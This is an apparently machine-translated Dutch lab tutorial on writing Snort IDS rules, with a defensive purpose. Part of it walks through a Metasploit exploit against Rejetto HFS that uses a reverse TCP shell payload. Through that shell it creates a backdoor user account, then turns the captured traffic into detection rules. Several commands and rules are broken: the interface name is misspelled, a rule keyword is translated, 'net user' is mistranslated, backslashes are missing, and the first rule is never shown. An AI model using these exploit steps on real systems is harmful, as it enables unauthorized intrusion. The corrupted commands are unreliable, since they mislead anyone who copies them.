In deze serie laboefeningen demonstreren we verschillende technieken voor het schrijven van Snort-regels, van de syntaxis van basisregels tot het schrijven van regels gericht op het detecteren van specifieke soorten aanvallen. We zullen ook enkele basisbenaderingen bekijken voor analyse en optimalisatie van de prestaties van regels.

Oefening 1: Snort als een IDS

Snort is het meest bekend als een IDS. Van de snort.org website:

“Snort® is een open source netwerk intrusion prevention and detection system (IDS/IPS) ontwikkeld door Sourcefire. Snort combineert de voordelen van handtekening, protocol en anomalie-gebaseerde inspectie en is de meest wijdverspreide IDS/IPS technologie wereldwijd. Met miljoenen downloads en bijna 400.000 geregistreerde gebruikers is Snort de de facto standaard voor IPS geworden.”

Het moet ook worden vermeld dat Sourcefire begin oktober 2013 is overgenomen door Cisco.

Snort kan in wezen in drie verschillende modi draaien: IDS mode, logging mode en sniffer mode. We gaan Snort in dit deel van het lab gebruiken in IDS mode, om het later te gebruiken als een packet logger. We gebruiken de Ubuntu Server VM, de Windows Server 2012 R2 VM en de Kali Linux VM voor dit lab.

U hebt Snort versie 2.9.8 geïnstalleerd op uw Ubuntu Server VM. Start uw Ubuntu Server VM, meld u aan met de referenties die aan het begin van deze gids zijn verstrekt en open een terminal shell door te dubbelklikken op de snelkoppeling op het bureaublad. (U kunt ook op Ctrl+Alt+T drukken om een nieuwe commandoregel te openen.)

Om de Snort-versie te controleren, typt u snort -V in en drukt u op Enter.

Nog meer, we moeten de waarde HOME_NET configureren: het netwerk dat we gaan beveiligen. Voer eerst ifconfig in in uw terminal shell om de netwerk configuratie te zien. Noteer het IP adres en de waarde van de netwerk interface. Zie de afbeelding hieronder (uw IP kan anders zijn).

Naar aanleiding hiervan typt u het volgende commando om het snort configuratiebestand te openen in gedit teksteditor:

sudo gedit /etc/snort/snort.conf

Voer het wachtwoord voor Ubuntu Server in. Wanneer het snort.conf bestand opent, scroll dan naar beneden totdat je de ipvar HOME_NET instelling vindt. Je zult het IP adres moeten veranderen in je eigenlijke klasse C subnet. Op dit moment zou dat 192.168.132.0/24 moeten zijn. U verandert gewoon het IP-adres zodat het overeenkomt met het IP-adres van uw Ubuntu Server VM, waarbij u ervoor zorgt dat u de “.0/24″ aan het einde laat staan.

Selecteer Opslaan in de balk bovenaan en sluit het bestand. Op dit punt is Snort klaar om te draaien. Alleen zijn er nog geen regels geladen. Voer ter controle het volgende commando uit:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Hier vertellen we Snort om het configuratiebestand te testen (-T) (-c wijst naar de locatie ervan) op de interface eth0 (voer uw interfacewaarde in als deze anders is). Dit zal een heleboel uitvoer produceren. Scroll omhoog totdat u “0 Snort rules read” ziet (zie de afbeelding hieronder).

Laten we eens door de syntax van deze regel lopen:

Rule headers

  • alert – Actie van de regel. Snort zal een alert genereren wanneer aan de ingestelde voorwaarde is voldaan.
  • any – Bron IP. Snort kijkt naar alle bronnen.
  • any – Bron poort. Snort kijkt naar alle poorten.
  • -> – Richting. Van bron naar bestemming.
  • $HOME_NET – Bestemmings IP. We gebruiken de HOME_NET waarde uit het snort.conf bestand.
  • any – Poort van bestemming. Snort zal kijken naar alle poorten op het beschermde netwerk.

Regel opties:

  • msg: “ICMP test” – Snort zal dit bericht meesturen met de waarschuwing.
  • sid:1000001 – Snort regel ID. Onthoud dat alle getallen kleiner dan 1.000.000 gereserveerd zijn; dit is waarom we beginnen met 1.000.001. (Je mag elk getal gebruiken, zolang het maar groter is dan 1.000.000.)
  • rev:1 – Revisie nummer. Deze optie maakt het eenvoudiger om de regels te onderhouden.
  • classtype:icmp-event – Categoriseert de regel als een “icmp-event”, een van de voorgedefinieerde Snort categorieën. Deze optie helpt bij de regel organisatie.

Klik op Opslaan en sluit het bestand. Laten we nu het Snort-configuratie testcommando opnieuw uitvoeren:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Als u naar boven scrollt, zou u moeten zien dat er één regel is geladen.

Nu starten we Snort in IDS-modus en vertellen we dat het waarschuwingen moet weergeven op de console:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Opnieuw wijzen we Snort naar het configuratiebestand dat het moet gebruiken (-c) en specificeren we de interface (-i eth0). De -A console optie drukt waarschuwingen af op standaard uitvoer, en -q is voor “stille” modus (geen banner en statusrapport tonen). U zou geen uitvoer moeten zien wanneer u het commando ingeeft omdat Snort geen enkele activiteit heeft gedetecteerd die gespecificeerd is in de regel die we schreven.

Laten we eens wat activiteit genereren en kijken of onze regel werkt.

Lanceer uw Kali Linux VM. Het kan zijn dat je startx moet invoeren na het invoeren van je credentials om in de GUI te komen. Open daar een terminal-shell door op het pictogram in de bovenste menubalk te klikken.

Nu begint u met het pingen van uw Ubuntu Server met het volgende commando (gebruik het IP-adres van uw Ubuntu Server in plaats van .x.x):

ping 192.168.x.x

Laat het een paar seconden draaien en druk op Ctrl+C om te stoppen en terug te keren naar de prompt.

Keer nu terug naar uw Ubuntu Server waarop Snort IDS draait. U zou nu waarschuwingen moeten zien voor ieder ICMP Echo verzoek en Echo antwoord bericht, met de berichttekst die we hebben opgegeven in de msg optie:

We kunnen ook het bron IP adres zien van de host die verantwoordelijk is voor de activiteit die de waarschuwing genereert. In het bovenstaande voorbeeld is dat 192.168.132.133; dat van jou kan anders zijn (maar het zal het IP van je Kali Linux VM zijn). Onze test regel werkt! Druk op Ctrl+C om Snort te stoppen en terug te keren naar de prompt.

Nu gaan we een andere regel schrijven, deze keer, een beetje specifieker. Open ons bestand local.rules in een teksteditor:

sudo gedit /etc/snort/rules/local.rules

Laten we eerst onze eerste regel uitcommentariëren. Zet er een pond teken (#) voor. Op een nieuwe regel schrijft u de volgende regel (met uw Kali Linux IP voor x.x):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP verbindingspoging”; sid:1000002; rev:1;)

Hier hebben we het protocol gewijzigd in TCP, een specifiek bron-IP gebruikt, het bestemmingspoortnummer ingesteld op 21 (standaardpoort voor FTP-verbindingen) en de tekst van het waarschuwingsbericht gewijzigd. Sla het bestand op en sluit het. Laten we Snort nu weer in IDS modus draaien, maar deze keer gaan we nog een optie toevoegen, als volgt:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

We vertellen Snort om gegenereerde waarschuwingen in het ASCII formaat te loggen in plaats van de standaard pcap. Zodra Snort draait (nogmaals, u zult niet meteen uitvoer zien), gaat u naar uw Kali Linux VM en voert u het volgende commando in een terminal-shell in (met het IP-adres van uw Ubuntu Server):

ftp 192.168.x.x

Ga terug naar Ubuntu Server. U zou moeten zien dat er een waarschuwing is gegenereerd.

Om er zeker van te zijn dat de regel geen valse positieven genereert, kunt u een andere terminal-shell openen op Ubuntu Server VM en proberen verbinding te maken met dezelfde FTP-server. U zou geen nieuwe waarschuwingen mogen zien. Druk op Ctrl+C om Snort te stoppen.

Voer nu het volgende commando uit om een lijst van de Snort-logmap te maken:

ls /var/log/snort

U zou iets moeten zien dat lijkt op de volgende afbeelding:

Het snort.log.* bestand (u kunt er meer dan één hebben als u eerder meer dan één activiteit hebt gegenereerd die waarschuwingen genereert) is het .pcap-logbestand. Het kan niet worden gelezen met een tekst editor. Het IP adres dat je ziet (het jouwe zal verschillend zijn van de afbeelding) is het bron IP voor de waarschuwing die we net zagen voor onze FTP regel. Het is een directory. Laten we eens kijken wat er in staat:

sudo ls /var/log/snort/192.168.x.x

U kunt zien dat er een bestand is met de naam van het protocol (TCP) en de poortnummers die betrokken zijn bij de activiteit. We kunnen dit bestand lezen met een teksteditor of gewoon het commando cat gebruiken:

sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

We krijgen dezelfde informatie als we zagen in de console-uitvoer met wat extra details.

Hoe zit het met de .pcap-bestanden? We kunnen Wireshark, een populaire netwerk protocol analyzer, gebruiken om die te onderzoeken. Voer sudo wireshark in om het programma te starten. Klik OK om de fout/waarschuwingsberichten die verschijnen te accepteren. Eenmaal in het Wireshark hoofdvenster, ga naar Bestand → Open.

Blader naar de /var/log/snort directory, selecteer het snort.log.* bestand en klik op Open.

Hier staat nog veel meer informatie! Klik op een van de items in het middelste deelvenster om het uit te vouwen. Nu kunnen we de inhoud van elk pakket bekijken.

Sluit Wireshark. We zullen het in de loop van de practica veel gebruiken.

Voor onze volgende regel schrijven we er een die niet alleen kijkt naar protocollen, IP’s en poortnummers, maar ook naar inhoud. Eerst moeten we een activiteit genereren die ons de inhoud levert die we voor een regel nodig hebben.

Lanceer uw Windows Server 2012 R2 VM en meld u aan met de referenties die aan het begin van deze handleiding zijn verstrekt. Op deze VM draait een FTP-server. Zoek eerst het IP-adres van uw Windows Server 2102 R2 VM. U kunt dit doen door de opdrachtprompt te openen vanaf de snelkoppeling op het bureaublad en ipconfig.

te typen. Let op de “IPv4 Address” waarde (de uwe kan afwijken van de afbeelding). Ga nu terug naar uw Ubuntu Server VM en voer ftp 192.168.x.x in (met het IP adres dat u zojuist heeft opgezocht). Wanneer je om je naam en wachtwoord wordt gevraagd, druk je gewoon op Enter. Bestudeer de uitvoer.

Zoals we kunnen zien, resulteert het invoeren van ongeldige inloggegevens in een bericht met de tekst “Login of wachtwoord onjuist.” Nu hebben we genoeg informatie om onze regel te schrijven. Voer quit in om FTP af te sluiten en terug te keren naar de prompt. Open ons bestand local.rules opnieuw:

sudo gedit /etc/snort/rules/local.rules

Omdat we veel met dit bestand zullen werken, kunt u het open laten en een nieuwe terminal-shell opstarten om commando’s in te voeren.

Voeg de volgende regel toe op de nieuwe regel:

alert tcp $HOME_NET 21 -> any any (msg: “FTP failed login”; inhoud: “Login of wachtwoord incorrect”; sid:1000003; rev:1;)

Merk op dat we nu de HOME_NET waarde instellen als ons bron IP, omdat we zullen kijken naar de uitgaande FTP server antwoorden. Sla het bestand op. Laten we nu de regel testen. Start Snort in IDS modus:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Nu gaat u naar uw Kali Linux VM en probeert u verbinding te maken met de FTP server op Windows Server 2012 R2 (ftp 192.168.x.x), door een willekeurige waarde in te voeren voor Naam en Wachtwoord. Voer quit in om terug te keren naar de prompt. Ga terug naar de Ubuntu Server VM. Je zou verschillende waarschuwingen moeten zien gegenereerd door beide actieve regels die we in Snort hebben geladen. Druk op CTRL+C om Snort te stoppen.

Oefening 2: Snort als packet logger

Met het snel veranderende aanvalslandschap en de vectoren die er tegenwoordig zijn, weten we misschien niet eens waar we naar moeten zoeken totdat we de aanval hebben gezien. Dan kunnen we misschien, nadat we dat verkeer hebben onderzocht, een regel maken voor die specifieke “nieuwe” aanval. Dit is precies hoe de standaard publiekelijk beschikbare Snort regels worden gemaakt. We zullen nu Snort in logging modus draaien en kijken wat we kunnen identificeren aan de hand van de aanvallen die we doen.

In deze oefening zullen we een aanval op onze Windows Server simuleren terwijl we Snort in packet-logging modus draaien. Daarna zullen we de gelogde pakketten onderzoeken om te zien of we een aanvalshandtekening kunnen identificeren.

Zorg ervoor dat alle drie de VM’s (Ubuntu Server, Windows Server en Kali Linux) draaien. Voer op uw Kali Linux VM het volgende in een terminal-shell in:

msfconsole

Hiermee start u Metasploit Framework, een populair platform voor penetratietesten. Het zal een paar seconden duren om te laden. Negeer de foutmelding over de databaseverbinding. Wacht tot u de prompt msf> ziet. Voer daar de volgende reeks commando’s in:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM IP adres)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP-adres)

set RPORT 8081

Hier hebben we een exploit geconfigureerd tegen een kwetsbare versie van Rejetto HFS HTTP File server die wordt uitgevoerd op onze Windows Server 2012 R2 VM.

Voordat we de aanval kunnen uitvoeren, moeten we Snort opstarten in packet logging mode. Ga naar uw Ubuntu Server VM en voer het volgende commando in een terminal shell in:

sudo snort -dev -q -l /var/log/snort -i eth0

U zult geen uitvoer zien. Ga nu terug naar de msf exploit die je hebt geconfigureerd op de Kali Linux VM en voer exploit in. Als de exploit succesvol was, zou u moeten eindigen met een commandoshell:

Nu dat we toegang hebben tot het systeem, laten we het volgende doen:

Maak een nieuwe gebruikersaccount aan:

net gebruikersaccountnaam P@ssword12 /ADD

Verander mappen naar c:

cd

Maak een nieuwe directory aan die uw naam draagt.

mkdir uw naam

Druk nu op Ctrl+C en antwoord y voor “ja” om uw command shell toegang te sluiten.

Daarna gaat u naar uw Ubuntu Server VM en drukt u op Ctrl+C om Snort te stoppen. Voer sudo wireshark in uw terminal shell. In Wireshark, ga naar Bestand → Open en blader naar /var/log/snort. Op dit punt zullen we daar verschillende snort.log.* bestanden hebben. Selecteer het bestand dat het meest recent is gewijzigd en klik op Open.

U zou een groot aantal pakketten moeten zien dat is vastgelegd.

We moeten de pakketten vinden die gerelateerd zijn aan onze gesimuleerde aanval. Selecteer in Wireshark Bewerken → Pakket zoeken. Selecteer in het resulterende dialoogvenster het keuzerondje String. Selecteer vervolgens Packet Bytes als criteria voor Zoeken in. Voer vervolgens als zoekstring de gebruikersnaam in die u hebt gemaakt.

Als u het zoekdialoogvenster hebt geconfigureerd, klikt u op de knop Zoeken. Het zoeken zou het pakket moeten vinden dat de gezochte string bevat. Ga uw gang en selecteer dat pakket. Het zal het donker oranje gekleurde pakket zijn. Klik er met de rechtermuisknop op en selecteer Volg TCP-stroom.

Deze actie zou u alle commando’s moeten laten zien die zijn ingevoerd in die TCP-sessie. Dit omvat het aanmaken van de account, evenals de andere acties.

Nadat u uw resultaten hebt geverifieerd, sluit u het stream-venster. Dit zou je terug moeten brengen naar het pakket dat je in het begin hebt geselecteerd. Druk nu op de pijl omhoog totdat u het ASCII-gedeelte van uw hex-dump ziet verschijnen als “C:UsersAdministratorDesktophfs2.3b>” in het onderste deelvenster. Zie hieronder.

Noteer het geselecteerde gedeelte in de bovenstaande afbeelding. We zullen deze inhoud gebruiken om een waarschuwing te maken die ons laat weten wanneer een command shell wordt verzonden naar een andere host als gevolg van de Rejetto HFS exploit. Minimaliseer het Wireshark venster (sluit het nog niet).

Oefening 3: Bouw een aangepaste regel van gelogd verkeer

We willen een alert zien verschijnen telkens wanneer Snort “C:UsersAdministratorDesktophfs2.3b> ziet. Ga naar ons local.rules bestand (als je het hebt gesloten, open het dan opnieuw als root, met hetzelfde commando als we eerder deden) en voeg de volgende regel toe op een nieuwe regel (merk op dat we alle backslashes escapen om er zeker van te zijn dat ze worden opgenomen in de inhoud):

alert tcp $HOME_NET any -> any any (msg: “Command Shell Access”; content: “C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Bewaar het bestand. Start Snort opnieuw in IDS-modus:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Nu gaat u terug naar uw Kali Linux VM. Je zou nog steeds bij de prompt voor de rejetto exploit moeten zijn. Voer gewoon exploit in om het opnieuw uit te voeren. Wacht tot je command shell toegang krijgt en ga terug naar de Snort terminal op Ubuntu Server. Je zou moeten zien dat er waarschuwingen zijn gegenereerd, gebaseerd op onze nieuwe regel:

Neem Ctrl+C op de Kali Linux terminal en voer y in om uit de command shell te gaan. Druk vervolgens op Ctrl+C op de Ubuntu Server terminal om Snort te stoppen.

In dit geval hebben we wat menselijk leesbare inhoud om in onze regel te gebruiken. Maar dat is niet altijd het geval.

Laten we onze regel aanpassen zodat hij zoekt naar inhoud die wordt weergegeven in hex-formaat. Kopieer eerst onze laatste regel in ons bestand local.rules en plak die hieronder in de nieuwe regel. Commentarieer nu de oude regel uit en verander de “rev” waarde voor de nieuwe regel in “2.” Zie hieronder.

Breng het Wireshark-venster met onze capture opnieuw op, met hetzelfde payload-gedeelte geselecteerd. Helaas kunt u de hex-waarden niet rechtstreeks uit het hoofdvenster van Wireshark kopiëren, maar er is een eenvoudige oplossing die voor ons zal werken. Met de benodigde inhoud geselecteerd, klik met de rechter muisknop op het overeenkomstige (gemarkeerde) pakket in het bovenste deelvenster of op de gemarkeerde “Data:” invoer in het middelste deelvenster en selecteer Kopiëren → Bytes → Offset Hex. Zie hieronder.

Nu, in ons local.rules bestand, selecteer het inhoudsargument (alles tussen de aanhalingstekens) in onze nieuwe regel, klik met de rechter muisknop en klik op Plakken. Verwijder nu zorgvuldig alle extra spaties, regeleinden enzovoort, zodat alleen de benodigde hex waarden overblijven. Zet dan de pipe symbolen (|) aan beide kanten. Uw voltooide regel zou er uit moeten zien als de afbeelding hieronder.

Bewaar het bestand. Start Snort in IDS-modus. Ga vervolgens naar je Kali Linux VM en voer de exploit opnieuw uit. Wacht tot je de command shell krijgt en kijk naar de uitvoer van Snort. Je zou nu waarschuwingen moeten zien.

Deze keer zien we twee waarschuwingen in plaats van vier, omdat we de hex representatie van het “>” symbool in de inhoud hebben opgenomen, waardoor de regel specifieker wordt.

Druk op Ctrl+C om Snort te stoppen. Druk vervolgens op de Kali Linux VM op Ctrl+C en typ y in om uit de command shell te gaan. Typ exit om terug te keren naar de normale prompt.

Dit is slechts een deel van de basis van het schrijven van Snort regels. Later zullen we enkele meer geavanceerde technieken bekijken.

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.